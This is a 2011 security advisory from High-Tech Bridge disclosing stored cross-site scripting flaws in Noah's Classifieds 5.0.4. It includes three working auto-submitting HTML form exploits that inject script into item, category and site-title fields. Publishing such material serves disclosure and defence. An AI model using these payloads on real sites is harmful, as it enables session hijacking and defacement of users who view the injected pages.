Script Insertion Vulnerabilities in Noah's Classifieds
Advisory ID: | HTB22952 |
Product: | Noah's Classifieds |
Vendor: | Noah's Classifieds |
Vulnerable Versions: | 5.0.4 and probably prior |
Tested Version: | 5.0.4 |
Advisory Publication: | April 12, 2011 [without technical details] |
Vendor Notification: | April 12, 2011 |
Public Disclosure: | April 26, 2011 |
Vulnerability Type: | Cross-Site Scripting [CWE-79] |
Risk Level: | Medium |
| |
CVSSv2 Base Score: | 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N) |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in Noah's Classifieds which could be exploited to perform script insertion attacks.
1) Script insertion vulnerability in Noah's Classifieds Input passed to the "col_18", "description" and "titlePrefix" parameter in index.php is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data. Exploitation examples: 1. <form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="list" value="item"> <input type="hidden" name="method" value="create"> <input type="hidden" name="rollid" value="2"> <input type="hidden" name="id" value="0"> <input type="hidden" name="cid" value="2"> <input type="hidden" name="col_16" value=""> <input type="hidden" name="col_17" value='title"><script>alert(document.cookie)</script>'> <input type="hidden" name="col_18" value='<p>description of my"></p> <script type="text/javascript">// <![CDATA[ alert(document.cookie) // ]]></script>'> <input type="hidden" name="col_19" value="Pc"> <input type="hidden" name="col_20" value=""> <input type="hidden" name="gsubmit" value="Ok"> </form> <script> document.main.submit(); </script> 2. <form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="list" value="appcategory"> <input type="hidden" name="method" value="modify"> <input type="hidden" name="rollid" value="5"> <input type="hidden" name="id" value="5"> <input type="hidden" name="up" value="1"> <input type="hidden" name="wholeName" value="catitem"> <input type="hidden" name="name" value="catitem"> <input type="hidden" name="description" value='cat2"><script>alert(document.cookie)</script>'> <input type="hidden" name="picture" value=""> <input type="hidden" name="descriptionMeta" value=""> <input type="hidden" name="keywords" value=""> <input type="hidden" name="customAdMeta" value=""> <input type="hidden" name="allowAd" value="1"> <input type="hidden" name="immediateAppear" value="1"> <input type="hidden" name="inactivateOnModify" value="1"> <input type="hidden" name="displayResponseLink" value="1"> <input type="hidden" name="displayFriendmailLink" value="1"> <input type="hidden" name="displayFlaggedLink" value="1"> <input type="hidden" name="customAdListTitle" value=""> <input type="hidden" name="customAdListTemplate" value=""> <input type="hidden" name="customAdDetailsTemplate" value=""> <input type="hidden" name="gsubmit" value="Ok"> </form> <script> document.main.submit(); </script> 3. <form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="list" value="appsettings"> <input type="hidden" name="method" value="modify"> <input type="hidden" name="rollid" value="1"> <input type="hidden" name="id" value="1"> <input type="hidden" name="defaultTheme" value="modern"> <input type="hidden" name="defaultLanguage" value="en"> <input type="hidden" name="langDir" value="ltr"> <input type="hidden" name="adminEmail" value=""> <input type="hidden" name="titlePrefix" value='[Noahs Classifieds]</title><script>alert(document.cookie)</script>'> <input type="hidden" name="mainTitle" value=""> <input type="hidden" name="charLimit" value="0"> <input type="hidden" name="blockSize" value="20"> <input type="hidden" name="dateFormat" value="Y-m-d"> <input type="hidden" name="timeFormat" value="Y-m-d H:i"> <input type="hidden" name="gsubmit" value="Ok"> </form> <script> document.main.submit(); </script> |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback. |
|
References: |
[1] High-Tech Bridge Advisory HTB22952 - https://www.immuniweb.com/advisory/HTB22952 - Script Insertion Vulnerabilities in Noah's Classifieds [2] Noah's Classifieds - noahsclassifieds.org - Noah's Classifieds is a free classified advertisement application. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.